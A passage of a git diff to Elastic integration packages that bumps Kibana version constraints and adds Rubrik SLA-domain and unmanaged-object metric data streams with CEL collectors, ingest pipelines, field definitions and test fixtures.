documentation. diff --git a/packages/pulse_connect_secure/manifest.yml b/packages/pulse_connect_secure/manifest.yml index c9d2acc8c61..d0864364498 100644 --- a/packages/pulse_connect_secure/manifest.yml +++ b/packages/pulse_connect_secure/manifest.yml @@ -1,6 +1,6 @@ name: pulse_connect_secure title: Pulse Connect Secure -version: "2.4.1" +version: "2.5.0" description: Collect logs from Pulse Connect Secure with Elastic Agent. type: integration icons: @@ -12,7 +12,7 @@ format_version: "3.0.3" categories: [vpn_security, security] conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" policy_templates: - name: pulse_connect_secure title: Pulse Connect Secure logs diff --git a/packages/qualys_vmdr/changelog.yml b/packages/qualys_vmdr/changelog.yml index c8aea58dc43..1ee3eaea00a 100644 --- a/packages/qualys_vmdr/changelog.yml +++ b/packages/qualys_vmdr/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "6.2.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "6.1.0" changes: - description: Tolerate missing version details in asset_host_detection vulnerability results. diff --git a/packages/qualys_vmdr/manifest.yml b/packages/qualys_vmdr/manifest.yml index 169e6acfda8..c712bc3d954 100644 --- a/packages/qualys_vmdr/manifest.yml +++ b/packages/qualys_vmdr/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.2" name: qualys_vmdr title: Qualys VMDR -version: "6.1.0" +version: "6.2.0" description: Collect data from Qualys VMDR platform with Elastic Agent. type: integration categories: @@ -9,7 +9,7 @@ categories: - vulnerability_management conditions: kibana: - version: "^8.16.0" + version: "^8.16.0 || ^9.0.0" elastic: subscription: basic screenshots: diff --git a/packages/rapid7_insightvm/changelog.yml b/packages/rapid7_insightvm/changelog.yml index f08ee1e317f..3b184554348 100644 --- a/packages/rapid7_insightvm/changelog.yml +++ b/packages/rapid7_insightvm/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.16.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.15.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/rapid7_insightvm/manifest.yml b/packages/rapid7_insightvm/manifest.yml index 5479c8d1991..f86fc252ee3 100644 --- a/packages/rapid7_insightvm/manifest.yml +++ b/packages/rapid7_insightvm/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.2" name: rapid7_insightvm title: Rapid7 InsightVM -version: "1.15.1" +version: "1.16.0" source: license: "Elastic-2.0" description: Collect logs from Rapid7 InsightVM with Elastic Agent. @@ -11,7 +11,7 @@ categories: - vulnerability_management conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: "basic" screenshots: diff --git a/packages/rubrik/_dev/build/docs/README.md b/packages/rubrik/_dev/build/docs/README.md index d9f4704bd45..bef1e50abc4 100644 --- a/packages/rubrik/_dev/build/docs/README.md +++ b/packages/rubrik/_dev/build/docs/README.md @@ -145,10 +145,36 @@ Please refer to the following [document](https://www.elastic.co/guide/en/ecs/cur The `node_statistics` dataset provides metrics related to the performance of the Rubrik cluster nodes. +**IMPORTANT: Setting `interval` to more than `1h` may cause documents to be dropped if node statistics metrics fall outside the index time range.** + **ECS Field Reference** Please refer to the following [document](https://www.elastic.co/guide/en/ecs/current/ecs-field-reference.html) for detailed information on ECS fields. {{fields "node_statistics"}} -{{event "node_statistics"}} \ No newline at end of file +{{event "node_statistics"}} + +### Unmanaged Objects + +The `unmanaged_objects` dataset provides unmanaged object snapshot and storage metrics. + +**ECS Field Reference** + +Please refer to the following [document](https://www.elastic.co/guide/en/ecs/current/ecs-field-reference.html) for detailed information on ECS fields. + +{{fields "unmanaged_objects"}} + +{{event "unmanaged_objects"}} + +### SLA Domains + +The `sla_domains` dataset captures key metrics and configurations of Service Level Agreement (SLA) policy domains in a Rubrik environment, including details on the number of protected objects, such as virtual machines, databases, filesets, and hosts. + +**ECS Field Reference** + +Please refer to the following [document](https://www.elastic.co/guide/en/ecs/current/ecs-field-reference.html) for detailed information on ECS fields. + +{{fields "sla_domains"}} + +{{event "sla_domains"}} \ No newline at end of file diff --git a/packages/rubrik/changelog.yml b/packages/rubrik/changelog.yml index c5ffc7d7da4..0b267e2ac20 100644 --- a/packages/rubrik/changelog.yml +++ b/packages/rubrik/changelog.yml @@ -1,4 +1,22 @@ # newer versions go on top +- version: "0.8.0" + changes: + - description: | + Enable TSDB. + Added support for specifying a time range in `ClusterNodeStatistics` query. + Adjusted default interval from `24h` to `1h`. + type: enhancement + link: https://github.com/elastic/integrations/pull/12917 +- version: "0.7.0" + changes: + - description: Add `sla_domains` data stream + type: enhancement + link: https://github.com/elastic/integrations/pull/12923 +- version: "0.5.0" + changes: + - description: Add `unmanaged_objects` data stream + type: enhancement + link: https://github.com/elastic/integrations/pull/12839 - version: "0.4.0" changes: - description: Add support for Kibana `9.0.0`. diff --git a/packages/rubrik/data_stream/drives/manifest.yml b/packages/rubrik/data_stream/drives/manifest.yml index 3f80213d873..bebb92e7586 100644 --- a/packages/rubrik/data_stream/drives/manifest.yml +++ b/packages/rubrik/data_stream/drives/manifest.yml @@ -70,3 +70,5 @@ streams: required: false show_user: false description: The request tracer logs requests and responses to the agent's local file-system for debugging configurations. Enabling this request tracing compromises security and should only be used for debugging. See [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-input-httpjson.html#_request_tracer_filename) for details. +elasticsearch: + index_mode: time_series \ No newline at end of file diff --git a/packages/rubrik/data_stream/filesets/manifest.yml b/packages/rubrik/data_stream/filesets/manifest.yml index e5150890106..f8ad337064e 100644 --- a/packages/rubrik/data_stream/filesets/manifest.yml +++ b/packages/rubrik/data_stream/filesets/manifest.yml @@ -63,3 +63,5 @@ streams: default: "# filter:\n# - field: \"location\"\n# texts: \n# - \"prod-lab.local\"\n" description: >- Specify filters for refining the data. Filters must be defined as an array of Filter objects. Refer to the [Rubrik API documentation](https://rubrikinc.github.io/rubrik-api-documentation/schema/reference/filter.doc.html) for valid fields. +elasticsearch: + index_mode: time_series \ No newline at end of file diff --git a/packages/rubrik/data_stream/global_cluster_performance/manifest.yml b/packages/rubrik/data_stream/global_cluster_performance/manifest.yml index ea9a563316b..1d6f739ee67 100644 --- a/packages/rubrik/data_stream/global_cluster_performance/manifest.yml +++ b/packages/rubrik/data_stream/global_cluster_performance/manifest.yml @@ -54,3 +54,5 @@ streams: required: false show_user: false description: The number of results per page in Rubrik GraphQL queries. Smaller pages mean more API requests but can be more efficient in some cases. +elasticsearch: + index_mode: time_series \ No newline at end of file diff --git a/packages/rubrik/data_stream/managed_volumes/manifest.yml b/packages/rubrik/data_stream/managed_volumes/manifest.yml index c2c1cfb873d..c4ce9979299 100644 --- a/packages/rubrik/data_stream/managed_volumes/manifest.yml +++ b/packages/rubrik/data_stream/managed_volumes/manifest.yml @@ -70,3 +70,5 @@ streams: required: false show_user: false description: The request tracer logs requests and responses to the agent's local file-system for debugging configurations. Enabling this request tracing compromises security and should only be used for debugging. See [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-input-httpjson.html#_request_tracer_filename) for details. +elasticsearch: + index_mode: time_series \ No newline at end of file diff --git a/packages/rubrik/data_stream/monitoring_jobs/manifest.yml b/packages/rubrik/data_stream/monitoring_jobs/manifest.yml index 66a4fabe882..d1b2246d370 100644 --- a/packages/rubrik/data_stream/monitoring_jobs/manifest.yml +++ b/packages/rubrik/data_stream/monitoring_jobs/manifest.yml @@ -54,3 +54,5 @@ streams: required: false show_user: false description: The request tracer logs requests and responses to the agent's local file-system for debugging configurations. Enabling this request tracing compromises security and should only be used for debugging. See [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-input-httpjson.html#_request_tracer_filename) for details. +elasticsearch: + index_mode: time_series \ No newline at end of file diff --git a/packages/rubrik/data_stream/mssql_databases/manifest.yml b/packages/rubrik/data_stream/mssql_databases/manifest.yml index 7001edd38d5..e198bebff06 100644 --- a/packages/rubrik/data_stream/mssql_databases/manifest.yml +++ b/packages/rubrik/data_stream/mssql_databases/manifest.yml @@ -78,3 +78,5 @@ streams: required: false show_user: false description: The request tracer logs requests and responses to the agent's local file-system for debugging configurations. Enabling this request tracing compromises security and should only be used for debugging. See [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-input-httpjson.html#_request_tracer_filename) for details. +elasticsearch: + index_mode: time_series \ No newline at end of file diff --git a/packages/rubrik/data_stream/node_statistics/agent/stream/cel.yml.hbs b/packages/rubrik/data_stream/node_statistics/agent/stream/cel.yml.hbs index f107aabb4e7..1e56a659425 100644 --- a/packages/rubrik/data_stream/node_statistics/agent/stream/cel.yml.hbs +++ b/packages/rubrik/data_stream/node_statistics/agent/stream/cel.yml.hbs @@ -35,17 +35,18 @@ processors: state: index: 0 + period: {{interval}} pageSize: {{pageSize}} queries: - | - query ClusterNodeStatistics($first: Int, $after: String) { + query ClusterNodeStatistics($first: Int, $after: String, $range: TimeRangeInput) { allClusterConnection(first: $first, after: $after) { count nodes { name type id - clusterNodeStats { + clusterNodeStats(timeRange: $range) { nodeId clusterPhysicalDataIngest networkBytesReceived @@ -81,6 +82,10 @@ program: |- "variables": { "first": has(state.pageSize) ? state.pageSize : null, "after": has(state.cursor) ? state.cursor.after : null, + "range": { + "start": now - duration(state.period), + "end": now.format(time_layout.RFC3339), + } } }.encode_json() } @@ -132,7 +137,7 @@ program: |- "index": body.data.allClusterConnection.pageInfo.hasNextPage ? int(state.index) : (int(state.index) + 1) % size(state.queries), "cursor": { "after": body.data.allClusterConnection.pageInfo.hasNextPage ? body.data.allClusterConnection.pageInfo.endCursor : null - } + }, } ) : diff --git a/packages/rubrik/data_stream/node_statistics/manifest.yml b/packages/rubrik/data_stream/node_statistics/manifest.yml index c9f356b4d7a..66e6b6e89a7 100644 --- a/packages/rubrik/data_stream/node_statistics/manifest.yml +++ b/packages/rubrik/data_stream/node_statistics/manifest.yml @@ -21,7 +21,7 @@ streams: description: The interval at which the API is polled, supported in seconds, minutes, and hours. show_user: true required: true - default: 24h + default: 1h - name: processors type: yaml title: Processors @@ -54,3 +54,5 @@ streams: required: false show_user: false description: The number of results per page in Rubrik GraphQL queries. Smaller pages mean more API requests but can be more efficient in some cases. +elasticsearch: + index_mode: time_series \ No newline at end of file diff --git a/packages/rubrik/data_stream/physical_hosts/manifest.yml b/packages/rubrik/data_stream/physical_hosts/manifest.yml index 101e9d58361..0ee57fb6e9d 100644 --- a/packages/rubrik/data_stream/physical_hosts/manifest.yml +++ b/packages/rubrik/data_stream/physical_hosts/manifest.yml @@ -78,3 +78,5 @@ streams: required: false show_user: false description: The request tracer logs requests and responses to the agent's local file-system for debugging configurations. Enabling this request tracing compromises security and should only be used for debugging. See [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-input-httpjson.html#_request_tracer_filename) for details. +elasticsearch: + index_mode: time_series \ No newline at end of file diff --git a/packages/rubrik/data_stream/sla_domains/_dev/test/pipeline/test-sla-domains-metrics.log b/packages/rubrik/data_stream/sla_domains/_dev/test/pipeline/test-sla-domains-metrics.log new file mode 100644 index 00000000000..5c33da75d90 --- /dev/null +++ b/packages/rubrik/data_stream/sla_domains/_dev/test/pipeline/test-sla-domains-metrics.log @@ -0,0 +1 @@ +{"numNutanixVms":0,"numHypervVms":0,"numDbs":1,"numManagedVolumes":1,"numEc2Instances":0,"numVcdVapps":0,"numOracleDbs":0,"numFilesets":1,"numStorageArrayVolumeGroups":0,"numWindowsVolumeGroups":0,"numLinuxHosts":1,"numShares":0,"numWindowsHosts":0,"numVms":0,"numProtectedObjects":2,"id":"6fc7ca5c-5926-4a85-b236-a43a9935dff9","primaryClusterId":"5e81520e-a7e1-4ed4-adce-870804739532","name":"cluster-1","primaryClusterSlaVersion":20,"replicationTargetSlaVersion":4,"frequencies":{"daily":{"frequency":1,"retention":35},"weekly":{"frequency":1,"retention":53,"dayOfWeek":"Monday"},"monthly":{"frequency":1,"retention":3,"dayOfMonth":"FirstDay"}},"allowedBackupWindows":[{"startTimeAttributes":{"minutes":0,"hour":19},"durationInHours":13}],"firstFullAllowedBackupWindows":[],"localRetentionLimit":259200,"maxLocalRetentionLimit":32054400,"archivalSpecs":[{"locationId":"4b6ccad7-907b-41eb-88c7-3b271802d1ed","locationName":"S3:test-1","archivalThreshold":259200,"isPassthroughSupported":true}],"replicationSpecs":[{"locationId":"2d458abf-df57-4873-9075-63d7b674e307","locationName":"LOCAL","retentionLimit":259200,"replicationType":"REPLICATION_TO_CLUSTER"}],"isDefault":false,"uiColor":"#7f3340","showAdvancedUi":false,"advancedUiConfig":[],"isRetentionLocked":false,"isPaused":false} \ No newline at end of file diff --git a/packages/rubrik/data_stream/sla_domains/_dev/test/pipeline/test-sla-domains-metrics.log-expected.json b/packages/rubrik/data_stream/sla_domains/_dev/test/pipeline/test-sla-domains-metrics.log-expected.json new file mode 100644 index 00000000000..54f59d85015 --- /dev/null +++ b/packages/rubrik/data_stream/sla_domains/_dev/test/pipeline/test-sla-domains-metrics.log-expected.json @@ -0,0 +1,34 @@ +{ + "expected": [ + { + "ecs": { + "version": "8.16.0" + }, + "event": { + "kind": "metric", + "original": "{\"numNutanixVms\":0,\"numHypervVms\":0,\"numDbs\":1,\"numManagedVolumes\":1,\"numEc2Instances\":0,\"numVcdVapps\":0,\"numOracleDbs\":0,\"numFilesets\":1,\"numStorageArrayVolumeGroups\":0,\"numWindowsVolumeGroups\":0,\"numLinuxHosts\":1,\"numShares\":0,\"numWindowsHosts\":0,\"numVms\":0,\"numProtectedObjects\":2,\"id\":\"6fc7ca5c-5926-4a85-b236-a43a9935dff9\",\"primaryClusterId\":\"5e81520e-a7e1-4ed4-adce-870804739532\",\"name\":\"cluster-1\",\"primaryClusterSlaVersion\":20,\"replicationTargetSlaVersion\":4,\"frequencies\":{\"daily\":{\"frequency\":1,\"retention\":35},\"weekly\":{\"frequency\":1,\"retention\":53,\"dayOfWeek\":\"Monday\"},\"monthly\":{\"frequency\":1,\"retention\":3,\"dayOfMonth\":\"FirstDay\"}},\"allowedBackupWindows\":[{\"startTimeAttributes\":{\"minutes\":0,\"hour\":19},\"durationInHours\":13}],\"firstFullAllowedBackupWindows\":[],\"localRetentionLimit\":259200,\"maxLocalRetentionLimit\":32054400,\"archivalSpecs\":[{\"locationId\":\"4b6ccad7-907b-41eb-88c7-3b271802d1ed\",\"locationName\":\"S3:test-1\",\"archivalThreshold\":259200,\"isPassthroughSupported\":true}],\"replicationSpecs\":[{\"locationId\":\"2d458abf-df57-4873-9075-63d7b674e307\",\"locationName\":\"LOCAL\",\"retentionLimit\":259200,\"replicationType\":\"REPLICATION_TO_CLUSTER\"}],\"isDefault\":false,\"uiColor\":\"#7f3340\",\"showAdvancedUi\":false,\"advancedUiConfig\":[],\"isRetentionLocked\":false,\"isPaused\":false}" + }, + "rubrik": { + "sla_domains": { + "dbs": { + "count": 1 + }, + "filesets": { + "count": 1 + }, + "id": "6fc7ca5c-5926-4a85-b236-a43a9935dff9", + "linux_hosts": { + "count": 1 + }, + "name": "cluster-1", + "vms": { + "count": 0 + }, + "windows_hosts": { + "count": 0 + } + } + } + } + ] +} diff --git a/packages/rubrik/data_stream/sla_domains/agent/stream/cel.yml.hbs b/packages/rubrik/data_stream/sla_domains/agent/stream/cel.yml.hbs new file mode 100644 index 00000000000..1169ccb9c11 --- /dev/null +++ b/packages/rubrik/data_stream/sla_domains/agent/stream/cel.yml.hbs @@ -0,0 +1,107 @@ +config_version: 2 +interval: {{interval}} + +state: + client_id: {{client_id}} + client_secret: {{client_secret}} + cluster_uuid: {{cluster_uuid}} + token_url: https://{{hostname}}.my.rubrik.com/api/cdm_client_token + +resource.url: https://{{cluster_ip}}/api/v2/sla_domain + +{{#if ssl}} +resource.ssl: + {{ssl}} +{{/if}} +{{#if resource_timeout}} +resource.timeout: {{resource_timeout}} +{{/if}} + +{{#if enable_request_tracer}} +resource.tracer.filename: "../../logs/cel/http-request-trace-*.ndjson" +{{/if}} + +tags: +{{#if preserve_original_event}} + - preserve_original_event +{{/if}} +{{#each tags as |tag|}} + - {{tag}} +{{/each}} +{{#contains "forwarded" tags}} +publisher_pipeline.disable_host: true +{{/contains}} +{{#if processors}} +processors: +{{processors}} +{{/if}} + +program: |- + state.with( + request("POST", state.token_url, { + "client_id": state.client_id, + "client_secret": state.client_secret, + "cluster_uuid": state.cluster_uuid + }.encode_json() + ).with( + { + "Header": { + "Content-Type": ["application/json"], + }, + } + ).do_request().as(token_resp, (token_resp.StatusCode == 200) ? + bytes(token_resp.Body).decode_json().as(token_body, + request("GET", state.url).with( + { + "Header": { + "Content-Type": ["application/json"], + "Authorization": ["Bearer " + token_body.session.token], + } + } + ).do_request().as(resp, (resp.StatusCode == 200) ? + bytes(resp.Body).decode_json().as(body, + { + "events": body.data.map(e, + { + "message": e.encode_json(), + } + ), + "want_more": body.hasMore + } + ) + : + { + "events": [ + { + "error": { + "code": string(resp.StatusCode), + "id": string(resp.Status), + "message": "GET request failed: " + + ( + (size(resp.Body) != 0) ? + string(resp.Body) + : + string(resp.Status) + " (" + string(resp.StatusCode) + ")" + ), + } + } + ], + "want_more": false + } + ) + ) + : + { + "events": [ + { + "error": { + "code": string(token_resp.StatusCode), + "id": string(token_resp.Status), + "message": "Token request failed: " + string(token_resp.Status), + } + } + ], + "want_more": false + } + ) + ) \ No newline at end of file diff --git a/packages/rubrik/data_stream/sla_domains/elasticsearch/ingest_pipeline/default.yml b/packages/rubrik/data_stream/sla_domains/elasticsearch/ingest_pipeline/default.yml new file mode 100644 index 00000000000..ac5250e686c --- /dev/null +++ b/packages/rubrik/data_stream/sla_domains/elasticsearch/ingest_pipeline/default.yml @@ -0,0 +1,82 @@ +--- +description: Pipeline for parsing Rubrik SLA domains metrics +processors: + - set: + field: ecs.version + value: 8.16.0 + - set: + field: event.kind + value: metric + - rename: + field: message + target_field: event.original + ignore_missing: true + if: "ctx.event?.original == null" + description: 'Renames the original `message` field to `event.original` to store a copy of the original message. The `event.original` field is not touched if the document already has one; it may happen when Logstash sends the document.' + - remove: + field: message + ignore_missing: true + if: "ctx.event?.original != null" + description: 'The `message` field is no longer required if the document has an `event.original` field.' + - json: + field: event.original + target_field: json + - rename: + field: json.id + target_field: rubrik.sla_domains.id + ignore_missing: true + - rename: + field: json.name + target_field: rubrik.sla_domains.name + ignore_missing: true + - rename: + field: json.numVms + target_field: rubrik.sla_domains.vms.count + ignore_missing: true + - rename: + field: json.numDbs + target_field: rubrik.sla_domains.dbs.count + ignore_missing: true + - rename: + field: json.numFilesets + target_field: rubrik.sla_domains.filesets.count + ignore_missing: true + - rename: + field: json.numLinuxHosts + target_field: rubrik.sla_domains.linux_hosts.count + ignore_missing: true + - rename: + field: json.numWindowsHosts + target_field: rubrik.sla_domains.windows_hosts.count + ignore_missing: true + - script: + description: Drops null/empty values recursively + lang: painless + ignore_failure: true + source: | + boolean drop(Object o) { + if (o == null || o == "") { + return true; + } else if (o instanceof Map) { + ((Map) o).values().removeIf(v -> drop(v)); + return (((Map) o).size() == 0); + } else if (o instanceof List) { + ((List) o).removeIf(v -> drop(v)); + return (((List) o).length == 0); + } + return false; + } + drop(ctx); + - remove: + field: json + ignore_missing: true +on_failure: + - set: + field: event.kind + value: pipeline_error + - append: + field: error.message + value: >- + Processor '{{{ _ingest.on_failure_processor_type }}}' + {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' + {{{/_ingest.on_failure_processor_tag}}}failed with message '{{{ _ingest.on_failure_message }}}' diff --git a/packages/rubrik/data_stream/sla_domains/fields/base-fields.yml b/packages/rubrik/data_stream/sla_domains/fields/base-fields.yml new file mode 100644 index 00000000000..7c798f4534c --- /dev/null +++ b/packages/rubrik/data_stream/sla_domains/fields/base-fields.yml @@ -0,0 +1,12 @@ +- name: data_stream.type + type: constant_keyword + description: Data stream type. +- name: data_stream.dataset + type: constant_keyword + description: Data stream dataset. +- name: data_stream.namespace + type: constant_keyword + description: Data stream namespace. +- name: '@timestamp' + type: date + description: Event timestamp. diff --git a/packages/rubrik/data_stream/sla_domains/fields/fields.yml b/packages/rubrik/data_stream/sla_domains/fields/fields.yml new file mode 100644 index 00000000000..e4f19d21d0e --- /dev/null +++ b/packages/rubrik/data_stream/sla_domains/fields/fields.yml @@ -0,0 +1,34 @@ +- name: rubrik + type: group + fields: + - name: sla_domains + type: group + fields: + - name: id + type: keyword + dimension: true + description: The ID of the SLA domain. + - name: name + type: keyword + dimension: true + description: The name of the SLA domain. + - name: vms.count + type: long + metric_type: gauge + description: Number of virtual machines. + - name: dbs.count + type: long + metric_type: gauge + description: Number of databases. + - name: filesets.count + type: long + metric_type: gauge + description: Number of filesets. + - name: linux_hosts.count + type: long + metric_type: gauge + description: Number of physical Linux hosts. + - name: windows_hosts.count + type: long + metric_type: gauge + description: Number of physical Winux hosts. \ No newline at end of file diff --git a/packages/rubrik/data_stream/sla_domains/manifest.yml b/packages/rubrik/data_stream/sla_domains/manifest.yml new file mode 100644 index 00000000000..ae685a1fa37 --- /dev/null +++ b/packages/rubrik/data_stream/sla_domains/manifest.yml @@ -0,0 +1,63 @@ +type: metrics +title: Rubrik SLA Domains Metrics +streams: + - input: cel + title: Rubrik SLA Domains + description: Collect Rubrik SLA domains data via the RSC API + enabled: true + template_path: cel.yml.hbs + vars: + - name: cluster_ip + type: text + title: Cluster IP + description: IP of the cluster. + multi: false + required: true + show_user: true + - name: cluster_uuid + type: text + title: Cluster UUID + multi: false + required: true + show_user: true + description: The UUID of the Rubrik cluster + - name: resource_timeout + type: text + title: Resource Timeout + description: Duration before declaring that the HTTP client connection has timed out. Valid time units are ns, us, ms, s, m, h. Default is 60s + show_user: false + multi: false + required: false + default: 60s + - name: interval + type: text + title: Interval + description: The interval at which the API is polled, supported in seconds, minutes, and hours. + show_user: true + required: true + default: 5m + - name: processors + type: yaml + title: Processors + multi: false + required: false + show_user: false + description: > + Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the logs are parsed. See [Processors](https://www.elastic.co/guide/en/fleet/current/elastic-agent-processor-configuration.html) for details. + + - name: tags + type: text + title: Tags + multi: true + required: false + show_user: false + default: + - rubrik.sla_domains + - name: preserve_original_event + required: true + show_user: true + title: Preserve original event + description: Preserves a raw copy of the original event, added to the field `event.original` + type: bool + multi: false + default: false diff --git a/packages/rubrik/data_stream/sla_domains/sample_event.json b/packages/rubrik/data_stream/sla_domains/sample_event.json new file mode 100644 index 00000000000..29aea909b40 --- /dev/null +++ b/packages/rubrik/data_stream/sla_domains/sample_event.json @@ -0,0 +1,72 @@ +{ + "agent": { + "name": "docker-fleet-agent", + "id": "04f90ee5-976b-4bc4-8ad6-5ed776487c8d", + "ephemeral_id": "3c4f4447-00a4-4594-823d-8868a0d6a7e0", + "type": "filebeat", + "version": "8.13.1" + }, + "rubrik": { + "sla_domains": { + "dbs": { + "count": 1 + }, + "filesets": { + "count": 1 + }, + "id": "6fc7ca5c-5926-4a85-b236-a43a9935dff9", + "linux_hosts": { + "count": 1 + }, + "name": "cluster-1", + "vms": { + "count": 0 + }, + "windows_hosts": { + "count": 0 + } + } + }, + "@timestamp": "2025-02-19T14:46:25.854Z", + "ecs": { + "version": "8.16.0" + }, + "data_stream": { + "namespace": "default", + "type": "metrics", + "dataset": "rubrik.sla_domains" + }, + "host": { + "hostname": "docker-fleet-agent", + "os": { + "kernel": "6.10.14-linuxkit", + "codename": "focal", + "name": "Ubuntu", + "type": "linux", + "family": "debian", + "version": "20.04.6 LTS (Focal Fossa)", + "platform": "ubuntu" + }, + "containerized": false, + "ip": [ + "172.18.0.7" + ], + "name": "docker-fleet-agent", + "id": "0c943706945f4061b59521bb029d64e5", + "mac": [ + "02-42-AC-12-00-07" + ], + "architecture": "arch64" + }, + "elastic_agent": { + "id": "04f90ee5-976b-4bc4-8ad6-5ed776487c8d", + "version": "8.13.1", + "snapshot": false + }, + "event": { + "agent_id_status": "verified", + "ingested": "2025-02-19T14:46:35Z", + "kind": "metric", + "dataset": "rubrik.sla_domains" + } +} \ No newline at end of file diff --git a/packages/rubrik/data_stream/tasks/manifest.yml b/packages/rubrik/data_stream/tasks/manifest.yml index 4f3e5be0075..6d592faf475 100644 --- a/packages/rubrik/data_stream/tasks/manifest.yml +++ b/packages/rubrik/data_stream/tasks/manifest.yml @@ -47,3 +47,5 @@ streams: type: bool multi: false default: false +elasticsearch: + index_mode: time_series \ No newline at end of file diff --git a/packages/rubrik/data_stream/unmanaged_objects/_dev/test/pipeline/test-unmanaged-objects-metrics.log b/packages/rubrik/data_stream/unmanaged_objects/_dev/test/pipeline/test-unmanaged-objects-metrics.log new file mode 100644 index 00000000000..323ce2ed233 --- /dev/null +++ b/packages/rubrik/data_stream/unmanaged_objects/_dev/test/pipeline/test-unmanaged-objects-metrics.log @@ -0,0 +1,2 @@ +{"id":"VM-UNIQUE-ID-129","name":"Virtual-Datastore","objectType":"VirtualMachine","physicalLocation":[{"managedId":"vCenter:::VCENTER-ID","name":"location_1"},{"managedId":"DataCenter:::DATACENTER-ID","name":"Datacenter-1"},{"managedId":"ComputeCluster:::CLUSTER-ID","name":"Virtual-SAN-Cluster"},{"managedId":"VmwareHost:::HOST-ID","name":"host-01.example.com"}],"unmanagedStatus":"Relic","snapshotCount":3,"isRemote":false,"localStorage":107543704053,"archiveStorage":0,"retentionSlaDomainId":"SLA-DOMAIN-ID","retentionSlaDomainName":"Backup-Policy","hasSnapshotsWithPolicy":true} +{"id":"12345abc-def6-7890-gh12-ijklmnop-vm-9876","name":"TestVM-XYZ","objectType":"VirtualMachine","physicalLocation":[{"managedId":"vCenter:::abc123-def456","name":"Datacenter-West"}],"unmanagedStatus":"Relic","snapshotCount":1,"isRemote":false,"localStorage":524592087,"archiveStorage":0,"retentionSlaDomainId":"PROTECTED-001","retentionSlaDomainName":"Standard Backup","hasSnapshotsWithPolicy":true} \ No newline at end of file diff --git a/packages/rubrik/data_stream/unmanaged_objects/_dev/test/pipeline/test-unmanaged-objects-metrics.log-expected.json b/packages/rubrik/data_stream/unmanaged_objects/_dev/test/pipeline/test-unmanaged-objects-metrics.log-expected.json new file mode 100644 index 00000000000..3c9df873d2a --- /dev/null +++ b/packages/rubrik/data_stream/unmanaged_objects/_dev/test/pipeline/test-unmanaged-objects-metrics.log-expected.json @@ -0,0 +1,64 @@ +{ + "expected": [ + { + "ecs": { + "version": "8.16.0" + }, + "event": { + "kind": "metric", + "original": "{\"id\":\"VM-UNIQUE-ID-129\",\"name\":\"Virtual-Datastore\",\"objectType\":\"VirtualMachine\",\"physicalLocation\":[{\"managedId\":\"vCenter:::VCENTER-ID\",\"name\":\"location_1\"},{\"managedId\":\"DataCenter:::DATACENTER-ID\",\"name\":\"Datacenter-1\"},{\"managedId\":\"ComputeCluster:::CLUSTER-ID\",\"name\":\"Virtual-SAN-Cluster\"},{\"managedId\":\"VmwareHost:::HOST-ID\",\"name\":\"host-01.example.com\"}],\"unmanagedStatus\":\"Relic\",\"snapshotCount\":3,\"isRemote\":false,\"localStorage\":107543704053,\"archiveStorage\":0,\"retentionSlaDomainId\":\"SLA-DOMAIN-ID\",\"retentionSlaDomainName\":\"Backup-Policy\",\"hasSnapshotsWithPolicy\":true}" + }, + "rubrik": { + "unmanaged_objects": { + "archive_storage": { + "bytes": 0 + }, + "id": "VM-UNIQUE-ID-129", + "local_storage": { + "bytes": 107543704053 + }, + "name": "Virtual-Datastore", + "object_type": "VirtualMachine", + "retention_sla_domain": { + "id": "SLA-DOMAIN-ID", + "name": "Backup-Policy" + }, + "snapshot": { + "count": 3 + }, + "unmanaged_status": "Relic" + } + } + }, + { + "ecs": { + "version": "8.16.0" + }, + "event": { + "kind": "metric", + "original": "{\"id\":\"12345abc-def6-7890-gh12-ijklmnop-vm-9876\",\"name\":\"TestVM-XYZ\",\"objectType\":\"VirtualMachine\",\"physicalLocation\":[{\"managedId\":\"vCenter:::abc123-def456\",\"name\":\"Datacenter-West\"}],\"unmanagedStatus\":\"Relic\",\"snapshotCount\":1,\"isRemote\":false,\"localStorage\":524592087,\"archiveStorage\":0,\"retentionSlaDomainId\":\"PROTECTED-001\",\"retentionSlaDomainName\":\"Standard Backup\",\"hasSnapshotsWithPolicy\":true}" + }, + "rubrik": { + "unmanaged_objects": { + "archive_storage": { + "bytes": 0 + }, + "id": "12345abc-def6-7890-gh12-ijklmnop-vm-9876", + "local_storage": { + "bytes": 524592087 + }, + "name": "TestVM-XYZ", + "object_type": "VirtualMachine", + "retention_sla_domain": { + "id": "PROTECTED-001", + "name": "Standard Backup" + }, + "snapshot": { + "count": 1 + }, + "unmanaged_status": "Relic" + } + } + } + ] +} \ No newline at end of file diff --git a/packages/rubrik/data_stream/unmanaged_objects/agent/stream/cel.yml.hbs b/packages/rubrik/data_stream/unmanaged_objects/agent/stream/cel.yml.hbs new file mode 100644 index 00000000000..ab337ab63d4 --- /dev/null +++ b/packages/rubrik/data_stream/unmanaged_objects/agent/stream/cel.yml.hbs @@ -0,0 +1,107 @@ +config_version: 2 +interval: {{interval}} + +state: + client_id: {{client_id}} + client_secret: {{client_secret}} + cluster_uuid: {{cluster_uuid}} + token_url: https://{{hostname}}.my.rubrik.com/api/cdm_client_token + +resource.url: https://{{cluster_ip}}/api/v1/unmanaged_object + +{{#if ssl}} +resource.ssl: + {{ssl}} +{{/if}} +{{#if resource_timeout}} +resource.timeout: {{resource_timeout}} +{{/if}} + +{{#if enable_request_tracer}} +resource.tracer.filename: "../../logs/cel/http-request-trace-*.ndjson" +{{/if}} + +tags: +{{#if preserve_original_event}} + - 